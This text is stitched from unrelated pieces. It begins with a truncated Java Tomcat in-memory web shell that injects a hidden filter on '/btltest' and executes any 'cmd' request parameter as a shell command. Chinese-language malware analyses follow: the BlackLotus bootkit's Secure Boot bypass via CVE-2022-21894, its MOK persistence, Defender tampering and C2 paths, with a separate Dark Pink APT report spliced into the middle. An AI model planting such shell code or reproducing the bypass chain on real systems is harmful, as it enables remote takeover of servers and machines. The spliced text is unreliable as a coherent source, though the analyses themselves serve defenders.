private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');

public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {

}

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();

}

@Override public void destroy() {

} }); standardCtx.addFilterDef(filterDef);

Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }

public Object getStandardContext(){ return standard_context_obj; }

public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA

繞過安全啟動並建立持久性在本部分中,我們將詳細了解BlackLotus如何在啟用UEFI Secure Boot的系統上實現持久性。由於我們將要描述的執行鏈非常複雜,我們將首先解釋基本原理,然後深入了解技術細節。

簡而言之,該過程包括兩個關鍵步驟:

利用CVE-2022-21894繞過安全啟動功能並安裝bootkit。這允許在早期啟動階段任意執行代碼,此時平台仍然由固件擁有,UEFI啟動服務功能仍然可用。這使得攻擊者可以在沒有物理訪問權限的情況下,在啟用了UEFI Secure Boot的設備上做許多不應該做的事情,例如修改僅用於啟動服務的NVRAM變量。這就是攻擊者在下一個步驟中為bootkit設置持久性所利用的。通過將自己的MOK寫入MokList來設置持久性,Boot僅服務NVRAM變量。這樣,它可以使用合法的Microsoft-signedshim加載其自簽名(由寫入MokList的密鑰的私鑰簽名)UEFIbootkit,而不是在每次啟動時利用該漏洞。有關這一點的更多信息,請參閱Bootkit持久性部分。

為了使下面兩部分的分析更容易,研究人員將遵循執行圖(下圖)中所示的步驟。

7.png

繞過安全啟動並使用MOK設置持久性

利用CVE-2022-21894為了繞過安全啟動,BlackLotus使用baton drop漏洞(CVE-2022-21894):安全啟動安全功能繞過漏洞。儘管這個漏洞對系統安全影響很大,但它並沒有得到應有的重視。儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的二進製文件仍未添加到UEFI取消列表中,因此攻擊者仍有可能利用該漏洞。因此,攻擊者可以將他們自己的易受攻擊的二進製文件副本帶到受害者的設備上,以利用此漏洞並繞過最新UEFI系統上的安全啟動。

此外,自2022年8月以來,針對該漏洞的概念證明(PoC)漏洞已公開可用。考慮到第一次BlackLotus VirusTotal提交的日期,惡意軟件開發人員可能只是根據他們的需要調整了可用的PoC,而不需要深入了解此漏洞的工作原理。

讓我們先簡單介紹一下該漏洞,主要是與PoC一起發佈在GitHub上的文章中的關鍵點:

受影響的Windows啟動應用程序(如bootmgr.efi、hvloader.efi、winload.efi…)允許在應用程序加載序列化安全啟動策略之前,使用truncatememory BCD啟動選項從內存中刪除該策略。

這允許攻擊者使用其他危險的BCD選項,如bootdebug、testsigning或nointegridchecks,從而破壞安全啟動。

有多種方法可以利用此漏洞——其中三種方法已發佈在PoC存儲庫中。

例如,其中一個PoC顯示瞭如何利用它使合法的hvloader.efi加載任意的自簽名mcupdate_

現在,我們繼續介紹BlackLotus如何利用此漏洞:

1.安裝程序重新啟動機器後,UEFI固件將繼續加載第一個啟動選項。對於Windows系統,默認情況下,第一個啟動選項是位於ESP上ESP:/efi/Microsoft/boot文件夾中的bootmgfw.efi。這一次,固件沒有執行原始受害者的bootmgfw.efi(安裝程序以前將其重命名為winload.efi),而是執行安裝程序部署的易受攻擊的啟動。

2.執行bootmgfw.efi後,它將加載BCD啟動選項,該選項先前由安裝程序修改。下圖顯示了合法BCD和修改後BCD的比較。

3.如下圖所示(路徑以綠色劃線),合法的Windows Boot Manager通常會將Windows OS加載程序(\Windows\system32\winload.efi)作為默認啟動應用程序加載。但這一次,使用修改後的BCD,它繼續加載易受攻擊的ESP:\system32\bootmgr.efi,避免內存BCD元素設置為值0x10000000,並且custom:22000023BCD指向另一個攻擊者存儲在ESP:\system32\BCD中的BCD。

8.png

合法BCD存儲(BEFORE)與BlackLotus安裝程序使用的存儲(AFTER)的比較

4.在下一步中,執行的ESP:\system32\bootmgr.efi加載位於ESP:\system32\BCD中的附加BCD。這個附加BCD的解析內容如下圖所示。

9.png

BlackLotus安裝程序釋放的第二個BCD——用於利用CVE-2022-21894

5.由於從上圖所示的BCD文件加載了選項,bootmgr.efi將繼續加載安裝程序部署的另一個易受攻擊的Windows啟動應用程序ESP:\system32\hvloader.efi,即Windows Hypervisor Loader。更重要的是,在同一BCD文件中指定了其他BCD選項:

值設置為0x10000000的truncatememory;

nointegridchecks設置為Yes;

testsigning也設置為Yes;

此時就會發生意想不到的事情,由於序列化的安全啟動策略應該在0x10000000以上的物理地址中加載(因為前面步驟中使用了avoidlowmemory),指定truncatmemory元素將有效地刪除它。因此,中斷安全啟動並允許使用危險的BCD選項,如nointegritychecks或testsigning。通過使用這些選項,攻擊者可以使hvloader.efi執行自己的自簽名代碼。

6.為此,使用此PoC中描述的技巧,即在執行過程中,合法的hvloader.efi從

10.png

從合法的hvloader.efi反編譯BtLoadUpdateDll函數,負責加載mcupdate_*.dll

7.現在,隨著攻擊者自己的自簽名mcupdate*.dll被加載和執行,它將繼續執行這個鏈中的最後一個組件——一個嵌入式MokInstaller (UEFI應用程序)——參見圖10了解它是如何完成的。

11.png

Hex-Rays反編譯惡意自簽名mcupdate*.dll二進制代碼

Bootkit持久性現在,MokInstaller可以繼續設置持久性,方法是將攻擊者的MOK註冊到NVRAM變量中,並將合法的Microsoft簽名的shim二進製文件設置為默認啟動加載程序來繼續設置持久性。

shim是由Linux開發人員開發的第一階段UEFI啟動加載程序,用於使各種Linux發行版與UEFI Secure Boot一起工作。它是一個簡單的應用程序,其目的是加載、驗證和執行另一個應用程序,在Linux系統中,它通常是GRUB啟動加載程序。它的工作方式是,微軟只簽署一個shim, shim負責其餘的工作,它可以通過使用db UEFI變量中的密鑰來驗證第二階段啟動加載器的完整性,還可以嵌入自己的“允許”或“取消”項或哈希列表,以確保平台和shim開發人員(例如Canonical, RedHat等)都信任的組件被允許執行。除了這些列表之外,shim還允許使用用戶管理的外部密鑰數據庫,即MOK列表。該MOK數據庫存儲在名為MokList的僅啟動NVRAM變量中。在不利用上述漏洞的情況下,需要物理訪問才能在啟用UEFI Secure Boot的系統上對其進行修改(僅在啟動期間,在系統加載程序調用UEFI啟動服務函數ExitBootServices之前可用)。然而,通過利用此漏洞,攻擊者能夠繞過UEFI Secure Boot並在調用ExitBootServices之前執行自己的自簽名代碼,因此他們可以輕鬆註冊自己的密鑰(通過修改MokList NVRAM變量),使填充程序執行任何應用程序(由該註冊密鑰簽名),而不會導致安全違規。

12.jpg

MOK啟動過程

8.MokInstaller UEFI應用程序繼續為BlackLotus UEFIbootkit設置持久性,並通過以下方式覆蓋利用痕跡:

8.1 從安裝程序創建的備份中恢復受害者的原始BCD存儲,並將efi替換為合法的microsoft簽名shim,該shim先前由安裝程序放置到ESP:\system32\bootload.efi中。

8.2創建包含攻擊者自簽名公鑰證書的MokList NVRAM變量。請注意,此變量的格式與任何其他UEFI簽名數據庫變量(如db或dbx)的格式相同,它可以由零個或多個EFI_signature_LIST類型的簽名列表組成,如UEFI規範中所定義。

8.3 從攻擊者的ESP:\system32\文件夾中刪除涉及攻擊的所有文件。

最後,它會重新啟動計算機,使部署的shim執行安裝程序從\EFI\Microsoft\Boot\grub64.EFI中刪除自簽名bootkit,grub64.EFI通常是x86-64系統上shim執行的默認第二階段啟動加載程序。

13.png

Hex Rays反編譯代碼——MokInstaller UEFI應用程序為BlackLotus bootkit設置持久性

BlackLotus UEFIbootkit一旦配置了持久性,就會在每次系統啟動時執行BlackLotusbootkit。 bootkit的目標是部署一個內核驅動程序和一個最終的用戶模式組件——HTTP下載器。在執行過程中,它試圖禁用其他Windows安全功能——基於虛擬化的安全(VBS)和Windows Defender——以提高成功部署和隱形操作的機會。在詳細介紹如何實現之前,讓我們先了解一下內核驅動程序和HTTP下載器的基本知識:

內核驅動程序負責:

部署鏈的下一個組件—HTTP下載器;

在被終止運行的情況下保持加載器不被關閉;

防止從ESP中刪除bootkit文件;

如果HTTP下載器指示的話,執行額外的內核有效負載;

根據HTTP下載器的指示,卸載bootkit。

HTTP下載器負責:

與CC通信;

執行從CC收到的命令;

下載並執行從CC接收到的有效負載(支持內核有效負載和用戶模式有效負載)。

從安裝程序到HTTP下載器的完整執行流程(簡化後)如下圖所示。我們將在下一節中更詳細地描述這些步驟。

14.png

BlackLotus UEFIbootkit執行示意圖

BlackLotus執行流程執行步驟如下(這些步驟如下圖所示):

1.UEFI固件執行默認的Windows啟動選項,該選項通常存儲在\EFI\Microsoft\boot\bootmgfw.EFI中的文件。正上所述,MokInstaller二進製文件用一個合法的簽名shim替換了這個文件。

2.執行shim時,它讀取MokList NVRAM變量,並使用攻擊者先前存儲在其中的證書來驗證第二階段啟動加載程序——位於\EFI\Microsoft\Boot\grubx64.efi中的自簽名BlackLotus UEFI啟動程序。

3.驗證後,shim執行bootkit。

4.bootkit從創建僅啟動VbsPolicyDisable NVRAM變量開始。如本文所述,此變量在啟動期間由Windows OS加載程序評估,如果已定義,則不會初始化核心VBS功能,如HVCI和憑據保護。

5.在以下步驟中,bootkit繼續使用UEFIbootkit使用的通用模式。它攔截典型Windows啟動流中包含的組件的執行,例如Windows啟動管理器、Windows OS加載器和Windows OS內核,並將它們的一些功能掛鉤到內存中。另外,它還嘗試通過修復某些驅動程序來禁用Windows Defender。所有這些都是為了在系統啟動過程的早期階段實現有效負載的執行,並避免檢測。以下函數已掛鉤或修復:

5.1 bootmgfw.efi或bootmgr.efi中的ImgArchStartBootApplication:該函數通常由bootkit掛鉤,以捕捉Windows OS加載程序(winload.efi)加載到內存中但尚未執行的時刻——這是執行更多內存修復的正確時刻。

5.2 winload.efi中的BlImgAllocateImageBuffer:用於為惡意內核驅動程序分配額外的內存緩衝區。

5.3 winload.efi中的OslArchTransferToKernel:連接以捕捉系統內核和某些系統驅動程序已加載到內存中但尚未執行的時刻,這是執行更多內存修復的最佳時刻。下面提到的驅動程序在此掛鉤中進行了修復。下圖顯示了這個掛鉤中負責在內存中查找適當驅動程序的代碼。

5.4 WdBoot.sys和WdFilter.sys:BlackLotus修復了WdBoot.sys和WdFilter.sys(分別是Windows Defender ELAM驅動程序和Windows Defender文件系統篩選器驅動程序)的入口點,以立即返回。

5.5 disk.sys:bootkit將disk.sys驅動程序的入口點掛鉤,以便在系統初始化的早期階段執行BlackLotus內核驅動程序。

15.png

OslArchTransferToKernel掛鉤的反編譯代碼——修復Windows Defender驅動程序並蒐索disk.sys入口點

6.接下來,當系統內核執行disk.sys驅動程序的入口點時,已安裝的掛鉤會跳轉到惡意內核驅動程序入口點。惡意代碼反過來恢復原始disk.sys以使系統正常運行,並等待winlogon.exe進程啟動。

7.當惡意驅動程序檢測到winlogon.exe進程已啟動時,它會向其中註入並執行最終的用戶模式組件——HTTP下載器。

內核驅動程序內核驅動程序主要負責四個任務:

將HTTP下載器注入到winlogon.exe中,並在線程終止時重新註入它;

保護部署在ESP上的bootkit文件不被刪除;

解除用戶模式Windows Defender進程MsMpEngine.exe;

與HTTP下載器通信,並在必要時執行任何命令。

HTTP下載器持久性內核驅動程序負責部署HTTP下載程序。當驅動程序啟動時,它會等待名為winlogon.exe的進程啟動,然後再執行任何其他操作。進程啟動後,驅動程序解密HTTP下載程序二進製文件,將其註入winlogon.exe的地址空間,並在新線程中執行。然後,驅動程序會定期檢查線程是否仍在運行,並在必要時重複注入。如果驅動程序檢測到內核調試器,則不會部署HTTP下載程序。

保護ESP上的bootkit文件不被刪除為了保護ESP上的bootkit文件,內核驅動程序使用了一個簡單的技巧。它打開所有要保護的文件,複製並保存其句柄,並使用ObSetHandleAttributes內核函數將HandleFlags(OBJECT_HANDLE_flag_INFORMATION)參數內的ProtectFromClose標誌指定為1,從而保護句柄不被任何其他進程關閉。這將阻止任何刪除或修改受保護文件的嘗試。受保護的文件包括:

ESP:\EFI\Microsoft\Boot\winload.efiESP:\EFI\Microsoft\Boot\bootmgfw.efiESP:\EFI\Microsoft\Boot\grubx64.efi如果用戶試圖刪除這些受保護的文件,就會出現如下圖所示的情況。

16.png

試圖刪除受BlackLotus驅動程序保護的文件

作為另一層保護,如果用戶或安全軟件能夠取消設置保護標誌並關閉句柄,內核驅動程序將持續監視它們,如果句柄不再存在,則通過調用KeBugCheck(INVALID_kernel_HANDLE)函數來生成一個BSOD。

解除主Windows Defender進程內核驅動程序還試圖解除主Windows Defender進程MsMpEng.exe的防護。為此,它通過為每個進程設置SE_PRIVILEGE_REMOVED屬性來刪除所有進程的令牌權限。因此,Defender進程應該無法正確地完成其工作(例如掃描文件)。但是,由於該功能執行得很差,因此可以通過重新啟動MsMpEng.exe進程使其失效。

偵察和橫向移動只要受害者組織網絡中的一台設備被攻擊,Dark Pink的下一個目標是收集盡可能多的關於受害者網絡基礎設施的信息。研究人員發現攻擊者對以下內容感興趣:

來自標準實用程序的信息,例如標準實用程序systeminfo的輸出;

來自網絡瀏覽器的信息;

安裝軟件,包括防病毒解決方案;

有關連接的USB設備和網絡共享的信息;

攻擊者還收集了可用於寫入的網絡和USB驅動器列表,然後將這些驅動器用於橫向移動。接下來,攻擊會看到用啟動TelePowerDropper的命令創建一個LNK文件(Windows快捷方式),而不是原始文件。在這個階段,受害者是看不見原始文件的。

攻擊者如何在USB設備上進行橫向移動?首先攻擊者註冊一個新的WMI事件處理程序。從現在開始,每次將USB設備插入受感染的設備時,都會執行一個特定的操作,看到TeleBotDropper下載並存儲在USB設備。讓我們更深入地分析一下這個過程。

1.受害者將USB設備插入受攻擊設備;

2.WMI事件被觸發,並導致從攻擊者的Github帳戶自動下載. zip壓縮文件。這個壓縮文件中有三個文件:Dism.exe,Dism.sys和Dismcore.dll。第一個文件是具有有效數字簽名的合法文件。 DLL文件的功能是從文件Dism.sys中解壓縮原始可執行文件。

3.壓縮文件被解壓縮到%tmp%文件夾,然後將這些文件複製到USB設備,並在其中創建一個名為“dism”的新文件夾。文件夾屬性更改為隱藏和系統;

4.創建一個名為system.bat的文件,其中包含啟動Dism.exe的命令;

5.最後,創建的LNK文件數量與USB驅動器上的文件夾數量相同。原始文件夾的屬性將更改為隱藏和系統。使用命令創建LNK文件,打開explorer.exe中的隱藏文件夾並啟動system.bat。

之後,用戶將看到與USB設備上找到的文件夾同名的LNK文件。一旦用戶打開此惡意LNK文件,TeleBotDropper將通過DLL側加載技術啟動(TeleBotDroper的功能已在上一節中顯示)。結果,讀取註冊表項、解密和啟動TelePowerBot的命令被傳輸到新設備。必須記住,如果USB設備上只有一個文件夾,則此解決方案有效。這就是為什麼我們觀察到不同的實現,例如,在USB設備上創建LNK文件而不是.pdf文件(不僅僅是文件夾)。附錄B中提供了更詳細的工作原理示例,在原始文件的位置創建LNK文件的機制也用於網絡共享。

數據洩露與許多其他類似攻擊一樣,攻擊者通過ZIP壓縮文件洩露數據。在Dark Pink攻擊期間,所有要發送給攻擊者的數據(來自公共網絡共享的文件列表、web瀏覽器數據、文檔等)都堆疊在$env:tmp\backuplog文件夾中。但是,收集和發送過程彼此獨立運行。當受攻擊的設備發出下載$env:tmp\backuplog文件夾的命令時,文件列表將被複製到$env:tmp\backuplog文件夾中,添加到壓縮文件並發送到攻擊者的Telegram木馬。在此步驟完成後,$env:tmp\ backuplo1目錄將被刪除。

攻擊者還可以利用他們自定義的竊取程序Cucky和Ctealer從受攻擊的設備中提取數據。這兩個竊取程序的功能是一樣的。它們可以用來從網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。竊取程序本身不需要任何互聯網連接,因為他們將執行結果(被盜數據)保存到文件中。通過惡意軟件發出的命令,可以從攻擊者的Github帳戶自動下載這兩種竊取程序。用於啟動Cucky的腳本示例見附錄C。

總的來說,Group-IB研究人員發現,Dark Pink通過三個不同的途徑洩露文件。第一種途徑是攻擊者使用Telegram接收文件。當設備被攻擊時,惡意軟件會收集特定文件夾中的信息,並通過一個特殊命令通過Telegram發送。通過擴展,發送給攻擊者的文件是:doc,docx, xls,xlsx,ppt,pptx,pdf,執行此過程的腳本示例可以在附錄D中找到。

除了Telegram, Group-IB還發現了攻擊者通過Dropbox竊取文件的證據。這種方法與通過Telegram進行竊取的方法略有不同,因為它涉及一系列PowerShell腳本,通過使用硬編碼令牌執行HTTP請求,將文件從特定文件夾傳輸到Dropbox帳戶。

Group-IB還發現了一次特別的攻擊,儘管該設備是由攻擊者控制的Telegram方式通過Telegram木馬發出的命令控制的,但一些有趣的文件是通過電子郵件發送的。該命令的示例如下所示。

12.png

數據洩露過程中使用的郵件列表如下所示:

13.png

在這一階段,Group-IB研究人員認為,選擇的洩露方法取決於受害者網絡基礎設施中設置的潛在限制。

逃避技術在他們的攻擊過程中,攻擊者使用了一種已知的技術來繞過用戶帳戶控制(UAC)來更改Windows Defender中的設置。他們通過提升COM接口來做到這一點。所使用的方法並不是唯一的,在不同的編程語言中發現了不同的實現。

14.png

允許繞過UAC的反編譯可執行文件截圖

設置由一個特殊的PowerShell腳本更改,該腳本作為命令接收,並在.NET應用程序中實現。該命令以可執行文件(在base64視圖中)的形式出現,在攻擊時自動從Github下載。可執行文件不會獲得持久性,也不會保存在受攻擊的系統上。可執行文件不會持久存在,也不會保存到受攻擊的系統中。下載和啟動的示例如下所示。

15.png

修改Windows Defender設置的PowerShell命令作為參數傳遞,如下所示:

16.png

PowerShell命令將使用.NET應用程序作為權限升級工具來執行

工具CuckyCucky是在.NET上開發的一個簡單的自定義竊取程序。在調查過程中發現了各種各樣的樣本。分析最多的版本是由Confuser打包的。它不與網絡通信,收集的信息保存在文件夾%TEMP%\backuplog中。 Cucky能夠從目標網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。雖然我們沒有任何與使用被盜數據相關的信息,但我們認為它可以用於訪問電子郵件web客戶端,根據web歷史進行額外的基礎設施偵察,編制組織員工列表,傳播惡意附件,並評估目標設備是真實的還是虛擬的。

Cucky具有從以下瀏覽器竊取數據的功能:

Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, komita, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast瀏覽器,Yandex瀏覽器。

17.png

反編譯的Cucky 竊取程序的截圖

找到的示例包含以下調試信息的路徑:

18.png

CtealerCtealer是Cucky的模擬版本,但是在C/c++上開發的。 TelePowerDropper或攻擊者發出的特殊命令可用於部署Ctealer。工作過程也非常類似於Cucky,因為它還將收集的文件保存到%TEMP%\backuplog文件夾。 Ctealer可以從以下web瀏覽器獲取信息:

Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, komita, Dragon, Torch, Comodo, Slimjet, 360瀏覽器,Maxthon, K-Melon, Sputnik, nicchrorome, CocCoc, Uran, Chromodo, Yandex瀏覽器。

找到的示例包含以下調試信息的路徑:

19.png

TelePowerBot正如我們已經註意到的,每次受攻擊設備的用戶登錄系統時,TelePowerBot都會被啟動。當這種情況發生時,將啟動一個特殊的腳本。腳本讀取另一個regkey的值(例如HKCU\SOFTWARE\Classes\abcdfile\shell\abcd),開始解密並啟動TelePowerBot。加密基於xor,其中密鑰是0到256之間的數組號。在解密之前,原始有效負載將從base64解碼。去模糊化的命令示例如下:

20.png

解密階段不是最終階段,這是一個中間階段,也是基於PowerShell的,並且是高度模糊的。在這個階段,最終腳本已經存儲在階段中,但是它被分割成塊。由此,創建一個base64字符串,解碼後,我們將得到一個ZIP流。最後,TelePowerBot在解壓縮後啟動。

該工具可以與Telegram通道通信,以接收來自攻擊者的新任務。木馬可以與各種受攻擊的設備通信,木馬每60秒檢查一次新命令。在執行過程中,木馬使用兩個註冊表項:HKCU\Environment\Update和HKCU\Environment\guid。第一個存儲最後一個消息id,該消息id由Telegram木馬處理(來自Telegram的參數update_id)。第二個密鑰存儲受攻擊設備的唯一標識。它是在木馬第一次啟動時由命令[guid]:NewGuid()生成的。註冊後,攻擊者就會獲得有關受攻擊設備的各種信息,如ip、guid、設備名稱。 IP地址也通過獲取請求來確定https://ifconfig.me/ip,這些進程也是基於PowerShell命令的,我們將在後面的報告中更深入地討論這些命令。木馬的實施如附錄A所示。

該模塊的一些變體包含用於確保橫向移動的附加功能。所有其他功能都是一樣的。在Group-IB進行分析的情況下,Telegram參數可以硬編碼在腳本中,也可以從註冊表項中讀取。

KamiKakaBotKamiKakaBot是TelePowerBot的. net版本,我們發現它們之間幾乎沒有區別。在讀取命令之前,KamiKakaBot能夠從Chrome, MS Edge和Firefox瀏覽器中竊取。它能夠更新自己,一旦它接收到命令,它可以將參數傳遞給cmd.exe進程。

21.png

詳細說明包含KamiKakaBot的反編譯可執行文件的屏幕截圖

PowerSploit/Get-MicrophoneAudio如上所述,Dark Pink背後的攻擊者幾乎只利用定制工具。然而,為了記錄來自受感染設備的麥克風音頻,他們轉向了公開可用的PowerSploit模塊-Get-MicrophoneAudio。這是通過從Github下載加載到受害者的設備上的。 Group-IB研究人員發現,當攻擊者試圖啟動該模塊時,受害者設備上的防病毒軟件會阻止這一進程。我們發現攻擊者試圖混淆原始的PowerSploit模塊,使其無法被檢測到,但這些都沒有成功。結果,攻擊者返回繪圖板並添加了一個腳本(如下所示),該腳本能夠成功地在受攻擊的設備上錄製麥克風音頻。

22.png

這個簡單的腳本啟動了一個後台任務,它會觸發一個標準實用程序PSR,以每分鐘捕獲一次聲音。錄製的音頻文件將保存在位於臨時文件夾(%TEMP%\record)的ZIP壓縮文件中。文件的命名模板如下:“yyyyMMddHHmmss”。然後,這些音頻文件被一個單獨的腳本洩露,該腳本將它們(作為ZIP壓縮文件)發送給攻擊者的Telegram木馬。

ZMsg(即時通訊工具信息洩露)攻擊者還對從受攻擊設備上的即時通訊工具中竊取數據感興趣。為此,它們能夠執行命令來識別主要的即時通訊工具,如Viber、Telegram和Zalo。在Viber的示例中,這些命令允許攻擊者竊取受攻擊設備上的%APPDATA%\Viberpc文件夾,從而允許他們訪問受害者的消息和聯繫人列表。我們仍在努力評估攻擊者能夠從受攻擊設備上的Telegram賬戶中獲取什麼信息,但Zalo的示例卻非常獨特。

如果受害者的設備上存在Zalo即時通訊工具,攻擊者可以啟動命令從Github下載一個特殊的實用程序(Group-IB稱為ZMsg)。這個實用程序是一個基於FlaUI庫的.NET應用程序,它允許組織在Zalo平台上竊取受害者的消息。 FlaUI是一個幫助Windows應用程序自動UI測試的庫,入口點通常是應用程序或桌面,以生成自動化元素。通過這種方式,可以分析子元素並與其交互。

ZMsg迭代Windows應用程序中的元素,以發現具有特定名稱的元素。例如,帶有消息的元素的名稱為“messageView”。所有收集的信息存儲在%TEMP%\KoVosRLvmU\文件夾中,文件擴展名為.dat和.bin。文件名創建為編碼的十六進製字符串,並根據以下模板生成:

%PERSON_NAME%_%DAY%_%MONTH%_%YEAR%

命令攻擊者通過指定ip、設備名或botid向受攻擊的設備發出命令,還可以同時向所有受感染的設備發出任務。在檢查過程中,我們注意到幾種不同的命令。其中一些命令的功能是重疊的,但它們都基於PowerShell命令。例如,TelePowerBot可以執行一個簡單的標準控制台工具,比如whoami,或者一個複雜的PowerShell腳本。

在攻擊期間,攻擊者執行幾個標準命令(例如net share、Get-SmbShare)來確定哪些網絡資源連接到受攻擊的設備。如果發現網絡磁盤的使用情況,他們將開始探索這個磁盤,以找到他們可能感興趣的文件,並可能對其進行竊取。在上一節中,我們注意到Dark Pink攻擊者如何進行橫向移動。在此活動中,攻擊者還可以攻擊連接到受攻擊設備的USB設備上的文件。下面的腳本詳細說明了攻擊者如何編譯網絡共享和連接到設備的可移動設備的列表。

23.png

攻擊者還可以發出命令,截取受攻擊設備的桌面截圖,並將這些截圖保存在%TEMP%目錄中。然後通過發出下面的命令來下載圖像。

24.png

總結Dark Pink的活動再次證明了魚叉式網絡釣魚活動給組織帶來的巨大危險,因為即使是高度先進的攻擊者也使用這種載體來訪問網絡。

與HTTP下載器的通信內核驅動程序能夠通過使用命名的Event和Section與HTTP下載器通信。所使用的命名對象的名稱是根據受害者的網絡適配器MAC地址(以太網)生成的。如果一個八位字節的值小於16,那麼將向其添加16。生成的對象名稱的格式可能在不同的示例中有所不同。例如,在我們分析的一個示例中,對於MAC地址00-1c-0b-cd-ef-34,生成的名稱為:

\BaseNamedObjects\101c1b:用於命名部分(僅使用MAC的前三個八位字節);

\BaseNamedObjects\Z01c1b:用於命名事件,與Section相同,但MAC地址的第一個數字被替換為Z;

如果HTTP下載器想要將一些命令傳遞給內核驅動程序,它只需要創建一個命名的節,在其中寫入一個包含相關數據的命令,並通過創建一個指定事件等待驅動程序處理該命令,直到驅動程序觸發(或發出信號)該命令。

驅動程序支持以下一目了然的命令:

安裝內核驅動程序;

卸載BlackLotus;

細心的讀者可能會注意到這裡的BlackLotus弱點,即使bootkit保護其組件不被刪除,內核驅動程序也可以通過創建上述命名對象並向其發送卸載命令來完全卸載bootkit。

HTTP下載器最後一個組件負責與CC服務器通信,並執行從其接收的任何CC命令。我們能夠發現的所有有效載荷都包含三個命令。這些命令非常簡單,正如部分名稱所示,主要是使用各種技術下載和執行額外的有效載荷。

CC通信為了與其CC通信,HTTP加載器使用HTTPS協議。通信所需的所有信息都直接嵌入到下載器二進製文件中,包括使用的CC域和HTTP資源路徑。與CC服務器通信的默認間隔設置為一分鐘,但可以根據CC的數據進行更改。與CC的每個通信會話都從向其發送信標HTTP POST消息開始。在我們分析的示例中,可以在HTTP POST標頭中指定以下HTTP資源路徑:

/network/API/hpb_gate[.]php

/API/hpb_gate[.]php

/gate[.]php

/hpb_gate[.]php

信標消息數據以checkin=字符串開頭,包含有關受攻擊機器的基本信息,包括自定義設備標識符(稱為HWID)、UEFI Secure Boot狀態、各種硬件信息以及一個看起來是BlackLotus內部版本號的值。 HWID由設備MAC地址(以太網)和系統卷序列號生成。加密前的消息格式如下圖所示。

17.png

在向CC發送消息之前,首先使用嵌入的RSA密鑰對數據進行加密,然後使用URL安全的base64編碼。在分析過程中,我們發現樣本中使用了兩個不同的RSA密鑰。這種HTTP信標請求的示例如下圖所示。

18.png

信標HTTP POST消息示例(由VirusTotal中的示例生成——具有本地IP而非真實CC地址的示例)

作為對信標消息的響應,從CC接收的數據應以兩字節魔法值HP開頭;否則,不進一步處理響應。如果魔法值正確,則在CBC模式下使用256位AES對魔法值之後的數據進行解密,並使用上述HWID字符串作為密鑰。

解密後,該消息類似於信標,一個JSON格式的字符串,並指定命令標識符(稱為Type)和各種附加參數,例如:

CC通信間隔;

執行方法;

有效負載文件名;

基於文件擴展名的負載類型(支持.sys、exe或.dll);

應該用於請求下載有效負載數據的身份驗證令牌;

用於解密有效負載數據的AES密鑰;

下表列出了所有支持的命令及其說明。

表2:CC命令

19.png

在這些命令中,CC可以指定是在執行負載之前先將其放到磁盤上,還是直接在內存中執行。在將文件放到磁盤的情況下,操作系統卷上的ProgramData文件夾將用作目標文件夾,文件名和擴展名由CC服務器指定。在直接在內存中執行文件的情況下,svchost.exe用作注入目標。當CC發送需要內核驅動程序協作的命令時,或者操作員希望以內核模式執行代碼時,將使用與HTTP下載器通信部分中描述的機制。

反分析技巧為了更難檢測和分析這一惡意軟件,其開發者試圖將標准文件工件(如文本字符串、導入或其他未加密的嵌入數據)的可見性限制在最低限度。以下是所用技術的摘要。

字符串和數據加密:示例中使用的所有字符串都使用簡單的密碼進行加密;

所有嵌入的文件都在CBC模式下使用256位AES加密;

各文件的加密密鑰可能因樣本而異;

除AES加密之外,一些文件還使用LZMS進行壓縮。

Runtime-onlyAPI解析:在所有示例中(如果適用),Windows API總是在運行時進行排他解析,並且使用函數哈希而不是函數名來查找內存中所需的API函數地址;

在某些情況下,直接syscall指令調用用於調用所需的系統函數;

網絡通信:使用HTTPS通信;

HTTP下載器發送到CC的所有消息都使用嵌入的RSA公鑰進行加密;

從CC發送到HTTP下載器的所有消息都使用來自受害者設備環境的密鑰或CC提供的AES密鑰進行加密;

反調試和反VM技巧:如果使用該方法,通常放在入口點的開頭,僅使用臨時沙盒或調試器檢測技巧。

緩解措施和補救措施首先,必須保持所使用的系統及其安全產品是最新的;

然後,要防止使用已知的易受攻擊UEFI二進製文件繞過UEFI Secure Boot,需要採取的關鍵步驟是在UEFI取消數據庫(dbx)中取消這些二進製文件,在Windows系統上,應使用Windows Update傳播dbx更新。

